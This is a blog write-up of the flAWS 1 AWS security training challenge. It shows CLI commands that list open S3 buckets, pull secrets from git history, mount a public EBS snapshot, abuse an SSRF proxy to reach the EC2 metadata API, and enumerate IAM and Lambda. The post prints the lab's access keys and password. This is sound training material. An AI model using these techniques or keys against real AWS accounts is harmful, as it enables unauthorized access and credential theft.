Post

flAWS 1

Level 1

This level is buckets of fun. See if you can find the first sub-domain.

Begin with doing a dig of flaws.cloud, which returns the following →

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
; <<>> DiG 9.16.1-Ubuntu <<>> flaws.cloud
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 55678
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
; COOKIE: 85e57acc1b19ec52 (echoed)
;; QUESTION SECTION:
;flaws.cloud.                   IN      A

;; ANSWER SECTION:
flaws.cloud.            15      IN      A       52.92.212.219

;; Query time: 531 msec
;; SERVER: 192.168.65.5#53(192.168.65.5)
;; WHEN: Thu Mar 31 21:09:06 CDT 2022
;; MSG SIZE  rcvd: 79

Then do an nslookup for the IP found, which gives the following →

1
2
3
219.212.92.52.in-addr.arpa      name = s3-website-us-west-2.amazonaws.com.
Authoritative answers can be found from:

This gives hint of a static website running from S3 at s3-website-us-west-2.amazonaws.com. This also confirms that the non-DNS URL for the challenge is at flaws.cloud.s3-website-us-west-2.amazonaws.com.

Now, a new profile for flaws can be created with the region set to us-west-2 and given that S3 is being used, permissions can be checked using the following →

1
2
# no sign request is used to call without credentials
awsn s3 ls s3://flaws.cloud --no-sign-request --profile flaws

This gives the result →

1
2
3
4
5
6
7
2017-03-13 22:00:38       2575 hint1.html
2017-03-02 22:05:17       1707 hint2.html
2017-03-02 22:05:11       1101 hint3.html
2020-05-22 13:16:45       3162 index.html
2018-07-10 11:47:16      15979 logo.png
2017-02-26 19:59:28         46 robots.txt
2017-02-26 19:59:30       1051 secret-dd02c7c.html

robots.txt and secret-dd02c7c.html seem interesting.

These can be retrieved using the command →

1
aws s3 cp s3://flaws.cloud/robots.txt ./

The robots file did not give anything but the secret file gave the link to the next level as http://level2-c8b217a33fcf1f839f6f1f73a00a9ae7.flaws.cloud. Files can also be listed by directly going to flaws.cloud.s3.amazonaws.com.


Level 2

The next level is fairly similar, with a slight twist. You’re going to need your own AWS account for this. You just need the free tier.

Calling s3 ls again on the discovered bucket gives an access denied message →

1
 aws s3 ls s3://level2-c8b217a33fcf1f839f6f1f73a00a9ae7.flaws.cloud --no-sign-request

However, calling it with a valid profile lists the bucket which means that the bucket did not have proper permissions configured i.e., it allowed everyone to list items and get items. Retrieving the secret file gives the URL for the next level as → http://level3-9afd3927f195e10225021a578e6f78df.flaws.cloud.


Level 3

The next level is fairly similar, with a slight twist. Time to find your first AWS key! I bet you’ll find something that will let you list what other buckets are.

Listing the contents like previous parts gives a .git folder in the contents. Pulling that down as follows →

1
aws s3 cp --recursive s3://level3-9afd3927f195e10225021a578e6f78df.flaws.cloud/.git ./git_stuff/

Running a secret scan in all commits using →

1
for i in $(git --no-pager log | grep "^commit" | cut -d ' ' -f2); do git checkout $i 1>/dev/null 2>/dev/null; zsh /persist/secret_scan.sh; done

This gives a secret → access_keys.txt:1:AKIAJ366LIPB4IJKT7SA and access_keys.txt:2:secret_access_key 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

Using this as a profile, all S3 buckets can be listed using →

1
awsn s3 ls --proile flaws

This gives the following output →

1
2
3
4
5
6
7
8
9
10
2017-02-12 15:31:07 2f4e53154c0a7fd086a04a12a452c2a4caed8da0.flaws.cloud
2017-05-29 11:34:53 config-bucket-975426262029
2017-02-12 14:03:24 flaws-logs
2017-02-04 21:40:07 flaws.cloud
2017-02-23 19:54:13 level2-c8b217a33fcf1f839f6f1f73a00a9ae7.flaws.cloud
2017-02-26 12:15:44 level3-9afd3927f195e10225021a578e6f78df.flaws.cloud
2017-02-26 12:16:06 level4-1156739cfb264ced6de514971a4bef68.flaws.cloud
2017-02-26 13:44:51 level5-d2891f604d2061b6977c2481b0c8333e.flaws.cloud
2017-02-26 13:47:58 level6-cc4c404a8a8b876167f5e70a7d8c9880.flaws.cloud
2017-02-26 14:06:32 theend-797237e8ada164bf9f12cebf93b282cf.flaws.cloud

This is all the S3 buckets which are also the further levels.


Level 4

Visiting the bucket static website at → http://level4-1156739cfb264ced6de514971a4bef68.flaws.cloud/

For the next level, you need to get access to the web page running on an EC2 at 4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud

It’ll be useful to know that a snapshot was made of that EC2 shortly after nginx was setup on it.

Using aws sts get-caller-identitity --profile flaws it gives the name of the account which is backup.

The questions says that a snapshot was made from the EC2 instance running the website. Using aws ec2 describe-instances, there is an instance owned by the backup user.

Listing all snapshots using aws ec2 describe-snapshots prints a ton of text, therefore, we filter using the owner ID such that the owner is the backup user. This is done by using aws ec2 describe-snapshots --owner-id 975426262029 which gives the result →

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
{
    "Snapshots": [
        {
            "Description": "",
            "Encrypted": false,
            "OwnerId": "975426262029",
            "Progress": "100%",
            "SnapshotId": "snap-0b49342abd1bdcb89",
            "StartTime": "2017-02-28T01:35:12+00:00",
            "State": "completed",
            "VolumeId": "vol-04f1c039bc13ea950",
            "VolumeSize": 8,
            "Tags": [
                {
                    "Key": "Name",
                    "Value": "flaws backup 2017.02.27"
                }
            ],
            "StorageTier": "standard"
        }
    ]
}

On checking the permissions for the volume using →

1
awsn ec2 describe-snapshot-attribute --attribute createVolumePermission --snapshot-id snap-0b49342abd1bdcb89 --profile flaws --region us-west-2

The result is as follows →

1
2
3
4
5
6
7
8
{
    "CreateVolumePermissions": [
        {
            "Group": "all"
        }
    ],
    "SnapshotId": "snap-0b49342abd1bdcb89"
}

By default snapshots are private, and you can transfer them between accounts securely by specifying the account ID of the other account, but a number of people just make them public and forget about them.

Therefore, creating a volume from this within personal account using →

1
awsn ec2 create-volume --snapshot-id snap-0b49342abd1bdcb89 --availability-zone us-west-2a --region us-west-2

It must be in the same region as the snapshot because snapshots cannot be shared on other regions. The result is as follows →

1
2
3
4
5
6
7
8
9
10
11
12
13
{
    "AvailabilityZone": "us-west-2a",
    "CreateTime": "2022-04-01T15:48:24+00:00",
    "Encrypted": false,
    "Size": 8,
    "SnapshotId": "snap-0b49342abd1bdcb89",
    "State": "creating",
    "VolumeId": "vol-08854891211c6fec5",
    "Iops": 100,
    "Tags": [],
    "VolumeType": "gp2",
    "MultiAttachEnabled": false
}

Now, an EC2 instance can be created from the console in the same AZ and then this volume can be attached to its storage.

Upon attaching the volume to the instance, it can be mounted as follows →

1
2
3
4
lsblk
# This gives the volume /dev/xvdf1 as a new volume This should be from the snapshot
sudo mount /dev/xvdf1 /mnt
# This mounts it to the /mnt directory

Searching the file system, there is a /home directory for users on the system and the only user there is ubuntu. Since this snapshot was taken after the NGINX web server was configured and launched, there must be some data relevant to it. Under ubuntu‘s home directory, there is a script setupNginx.sh which has the following in it →

1
htpasswd -b /etc/nginx/.htpasswd flaws nCP8xigdjpjyiXgJ7nJu7rw5Ro68iE8M

This gives the password for the web server running in the EC2 instance at 4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud.


Level 5

This EC2 has a simple HTTP only proxy on it. Here are some examples of it’s usage:
http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/flaws.cloud/
http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/summitroute.com/blog/feed.xml
http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/neverssl.com/
See if you can use this proxy to figure out how to list the contents of the level6 bucket at level6-cc4c404a8a8b876167f5e70a7d8c9880.flaws.cloud that has a hidden directory in it.

Visiting the page directly at http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/level6-cc4c404a8a8b876167f5e70a7d8c9880.flaws.cloud/ gives the error of → Level 6 is hosted in a sub-directory, but to figure out that directory, you need to play level 5 properly.

One of the most common ways to escalate an SSRF in an AWS Cloud environment is the (mis)use of the AWS Metadata API. Therefore, accessing the APIPA address, metadata can be obtained. There is a role under security-credentials i.e., the role of flaws has been attached to the EC2 instance.

Therefore, using the access key ID. secret access key and the session token, the role can effectively be assumed →

1
2
3
4
[flaws2]
aws_access_key_id = ASIA6GG7PSQGUEOUS2GF
aws_secret_access_key = hrPK9j2qJ8nB3tSBsAwQ7/dauDE6dAOdRAwvaAUS
aws_session_token = IQoJb3JpZ2luX2VjEJn/....redacted....q+XnpTW+fg==

Using this to get the contents of the level6 S3 bucket as follows →

1
 awsn s3 ls s3://level6-cc4c404a8a8b876167f5e70a7d8c9880.flaws.cloud/ --profile flaws2

This gives the name of the directory where the next level is located.


Level 6

For this final challenge, you’re getting a user access key that has the SecurityAudit policy attached to it. See what else it can do and what else you might find in this AWS account. Access key ID: AKIAJFQ6E7BY57Q3OBGA Secret: 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

Adding these credentials to the credentials file grants us the user Level6.

The SecurityAudit group can get a high level overview of the resources in an AWS account, but it’s also useful for looking at IAM policies. To find information about the user, use →

1
awsn iam get-user --profile level6flaws

This returns →

1
2
3
4
5
6
7
8
9
{
    "User": {
        "Path": "/",
        "UserName": "Level6",
        "UserId": "AIDAIRMDOSCWGLCDWOG6A",
        "Arn": "arn:aws:iam::975426262029:user/Level6",
        "CreateDate": "2017-02-26T23:11:16+00:00"
    }
}

Overview of the account can be retrieved using this role by using iam get-account-summary and all policies can be retrieved by using list-policies, however, that lists a complete bunch of policies (including AWS managed ones). Therefore, to retrieve the policies attached to the current user, use iam list-user-attached-policies --user-name Level6 and this gives the result →

1
2
3
4
5
6
7
8
9
10
11
12
{
    "AttachedPolicies": [
        {
            "PolicyName": "list_apigateways",
            "PolicyArn": "arn:aws:iam::975426262029:policy/list_apigateways"
        },
        {
            "PolicyName": "MySecurityAudit",
            "PolicyArn": "arn:aws:iam::975426262029:policy/MySecurityAudit"
        }
    ]
}

The MySecurityAudit policy is the one that allows us to do everything we are able to do. The other policy could be interesting. To get information about a policy use →

1
awsn iam get-policy --policy-arn arn:aws:iam::975426262029:policy/list_apigateways --profile level6flaws

This gives the information on the policy as →

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
{
    "Policy": {
        "PolicyName": "list_apigateways",
        "PolicyId": "ANPAIRLWTQMGKCSPGTAIO",
        "Arn": "arn:aws:iam::975426262029:policy/list_apigateways",
        "Path": "/",
        "DefaultVersionId": "v4",
        "AttachmentCount": 1,
        "PermissionsBoundaryUsageCount": 0,
        "IsAttachable": true,
        "Description": "List apigateways",
        "CreateDate": "2017-02-20T01:45:17+00:00",
        "UpdateDate": "2017-02-20T01:48:17+00:00",
        "Tags": []
    }
}

With the version ID known, information about that version can be retrieved using →

1
awsn iam get-policy-version --version-id v4 --policy-arn arn:aws:iam::975426262029:policy/list_apigateways --profile level6flaws

This gives the result →

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
{
    "PolicyVersion": {
        "Document": {
            "Version": "2012-10-17",
            "Statement": [
                {
                    "Action": [
                        "apigateway:GET"
                    ],
                    "Effect": "Allow",
                    "Resource": "arn:aws:apigateway:us-west-2::/restapis/*"
                }
            ]
        },
        "VersionId": "v4",
        "IsDefaultVersion": true,
        "CreateDate": "2017-02-20T01:48:17+00:00"
    }
}

This says that the policy allows the Level6 user to call apigateway:GET on the API Gateway for restapis/*. However, the user cannot perform a GET on the list of APIs themselves, just a specific one which has a policy attached to allow it.

Therefore, listing the capabilities using the policy MySecurityAudit, there are a number of services that the user can retrieve information for. Trying a few, lands us at Lambda, where functions can be listed as follows →

1
awsn lambda list-functions --profile level6flaws --region us-west-2

This gives the result →

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
{
    "Functions": [
        {
            "FunctionName": "Level6",
            "FunctionArn": "arn:aws:lambda:us-west-2:975426262029:function:Level6",
            "Runtime": "python2.7",
            "Role": "arn:aws:iam::975426262029:role/service-role/Level6",
            "Handler": "lambda_function.lambda_handler",
            "CodeSize": 282,
            "Description": "A starter AWS Lambda function.",
            "Timeout": 3,
            "MemorySize": 128,
            "LastModified": "2017-02-27T00:24:36.054+0000",
            "CodeSha256": "2iEjBytFbH91PXEMO5R/B9DqOgZ7OG/lqoBNZh5JyFw=",
            "Version": "$LATEST",
            "TracingConfig": {
                "Mode": "PassThrough"
            },
            "RevisionId": "98033dfd-defa-41a8-b820-1f20add9c77b",
            "PackageType": "Zip",
            "Architectures": [
                "x86_64"
            ],
            "EphemeralStorage": {
                "Size": 512
            }
        }
    ]
}

Of the actions allowed in the MySecurityAudit policy, the user can also get the policy attached to the function. Therefore using the following to print the JSON policy →

1
awsn lambda get-policy --function-name Level6 --profile level6flaws --region us-west-2 | python3 -c 'import json; input(); x = input(); print(json.loads(x.split(": ")[1][:-1]))' | python3 -m json.tool

This gives the policy as →

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
{
    "Version": "2012-10-17",
    "Id": "default",
    "Statement": [
        {
            "Sid": "904610a93f593b76ad66ed6ed82c0a8b",
            "Effect": "Allow",
            "Principal": {
                "Service": "apigateway.amazonaws.com"
            },
            "Action": "lambda:InvokeFunction",
            "Resource": "arn:aws:lambda:us-west-2:975426262029:function:Level6",
            "Condition": {
                "ArnLike": {
                    "AWS:SourceArn": "arn:aws:execute-api:us-west-2:975426262029:s33ppypa75/*/GET/level6"
                }
            }
        }
    ]
}

This shows that the API Gateway is allowed to Invoke the Lambda function if the ARN matches arn:aws:execute-api:us-west-2:975426262029:s33ppypa75/*/GET/level6. This means that the Rest API name to invoke it must be s33ppypa75. Using API Gateway to get information for this API as follows →

1
awsn apigateway get-rest-api --rest-api-id s33ppypa75 --profile level6flaws --region us-west-2

This gives the results as →

1
2
3
4
5
6
7
8
9
10
11
12
13
{
    "id": "s33ppypa75",
    "name": "Level6",
    "createdDate": "2017-02-26T18:21:35-06:00",
    "apiKeySource": "HEADER",
    "endpointConfiguration": {
        "types": [
            "EDGE"
        ]
    },
    "tags": {},
    "disableExecuteApiEndpoint": false
}

This shows that the Execute API Endpoint has not been disabled i.e., it can be reached via a URL to call the API. The default endpoint for Execute API for an API is as follows →

1
https://{restapi_id}.execute-api.{region}.amazonaws.com/{stage_name}/

Therefore, a stage name is needed, which can be retrieved from get-stages subcommand that gives the following result →

1
2
3
4
5
6
7
8
9
10
11
12
13
14
{
    "item": [
        {
            "deploymentId": "8gppiv",
            "stageName": "Prod",
            "cacheClusterEnabled": false,
            "cacheClusterStatus": "NOT_AVAILABLE",
            "methodSettings": {},
            "tracingEnabled": false,
            "createdDate": "2017-02-26T18:26:08-06:00",
            "lastUpdatedDate": "2017-02-26T18:26:08-06:00"
        }
    ]
}

Next, the resources need to be identified within the stage that can be called. This is done by using the get-resources subcommand which gives the following result →

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
{
    "items": [
        {
            "id": "6m5gni",
            "parentId": "y8nk5v2z1h",
            "pathPart": "level6",
            "path": "/level6",
            "resourceMethods": {
                "GET": {}
            }
        },
        {
            "id": "y8nk5v2z1h",
            "path": "/"
        }
    ]
}

Therefore, the URL is as follows →

1
https://s33ppypa75.execute-api.us-west-2.amazonaws.com/Prod/level6

If the last level6 is not included, it is the root resource that is called, otherwise it is the user resource when specified. A curl request on this URL gives the following →

1
Go to http://theend-797237e8ada164bf9f12cebf93b282cf.flaws.cloud/d730aa2b/

That’s the end of the Challenge.


This post is licensed under CC BY 4.0 by the author.